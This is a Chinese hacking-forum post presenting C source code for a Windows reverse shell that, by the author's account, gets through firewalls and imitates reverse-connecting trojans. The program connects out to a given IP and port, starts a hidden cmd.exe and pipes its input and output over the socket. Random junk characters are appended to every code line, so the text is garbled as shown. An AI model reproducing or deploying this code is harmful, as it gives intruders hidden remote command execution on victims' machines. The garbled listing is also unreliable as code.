社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5835阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?{M!syD<  
'hw_ew   
/* ============================== l#G }j^Q  
Rebound port in Windows NT #3o]Qo[Sc  
By wind,2006/7 13:0%IO  
===============================*/ 1F_ 1bAh$  
#include B)`^/^7  
#include &.t|&8-  
/o=,\kM  
#pragma comment(lib,"wsock32.lib") p$A`qx<M_  
95CCje{o _  
void OutputShell(); ViG4tb  
SOCKET sClient; "3Z<V8xB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6X.lncE@p  
!rMl" Y[  
void main(int argc,char **argv) 4$<-3IP,  
{ ^>fjURR  
WSADATA stWsaData; qg;f h]j%  
int nRet; _Ak?i\  
SOCKADDR_IN stSaiClient,stSaiServer; Bz#K_S  
n\Y|0\ B  
if(argc != 3) %7oB[2  
{ $@blP<I  
printf("Useage:\n\rRebound DestIP DestPort\n"); y~N,=5>j  
return; K?o}B  
} &]2z)&a  
C^x+'. ^N  
WSAStartup(MAKEWORD(2,2),&stWsaData); g)Byd\DS  
"nK(+Z  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &JpFt^IHi  
Oy!j`  
stSaiClient.sin_family = AF_INET; HLy}ta\  
stSaiClient.sin_port = htons(0); (gl/NH!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @BZ6{@*  
]8XY "2b  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OgTE^W@  
{ Ur]~>-Z  
printf("Bind Socket Failed!\n"); LF~=,S  
return; O/(qi8En  
} w*Gv#B9G  
3 TN?yP)  
stSaiServer.sin_family = AF_INET; {&Fh$H!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T$'GFA  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?wR;"  
wxg`[c$:  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3 9Ql|l$  
{ fFfH9cl!  
printf("Connect Error!"); rwlV\BU  
return; AVR9G^ce_  
} Aghcjy|j  
OutputShell(); `1NxS35u  
} :I5]|pt  
 OT9\K_  
void OutputShell() {q1&4U~'>O  
{ O\ T  
char szBuff[1024]; \"qXlTQ1_9  
SECURITY_ATTRIBUTES stSecurityAttributes; $+<X 1  
OSVERSIONINFO stOsversionInfo; jG0{>P#+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +_?;%PKkuF  
STARTUPINFO stStartupInfo; FV/X&u8~  
char *szShell; v?yHj-  
PROCESS_INFORMATION stProcessInformation; SrN;S kS  
unsigned long lBytesRead; Es kh=xA {  
WG;1[o&  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0C}7=_?  
z+1#p.F$@  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'A,&9E{%1  
stSecurityAttributes.lpSecurityDescriptor = 0; R.R(|!w>  
stSecurityAttributes.bInheritHandle = TRUE; .e2u)YqA  
?r QMOJR  
,sk;|OAI  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '?5=j1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *0y+=,"QU  
? kew[oZ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5( lE$&   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OxqbHe  
stStartupInfo.wShowWindow = SW_HIDE; :YB:)wV,P  
stStartupInfo.hStdInput = hReadPipe; ML0o :8Bd\  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; e:V(kzAY;  
A^JeB<, 5a  
GetVersionEx(&stOsversionInfo); r+;C}[E  
jz|zq\Eek  
switch(stOsversionInfo.dwPlatformId) \qAMs^1-  
{  y'Xg"  
case 1: +7o3TA]-  
szShell = "command.com"; w?.0r6j  
break; 8^zI  
default: i6r%;ueLb  
szShell = "cmd.exe"; uG3t%CmN  
break; UUv&X+ Y  
} @3[Z Q F  
pCA(>(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {t[j>_MYw  
?N#mD  
send(sClient,szMsg,77,0); @4h .?  
while(1) IBU(Hm1,  
{ m4ovppC  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'oHtg @  
if(lBytesRead)  KEsMes(*  
{ ~,Q+E8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _U$d.B'*)z  
send(sClient,szBuff,lBytesRead,0); !O)Ruwy  
} !$St=!  
else gyieSXz[  
{ FgRlxz  
lBytesRead=recv(sClient,szBuff,1024,0); PF@<>NO+W  
if(lBytesRead<=0) break; lcvWx%/o@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l{aXX[E&1  
} ;,Sl+)@h  
} ?D\6CsNp(2  
VbK| VON[  
return; }MrR svN  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八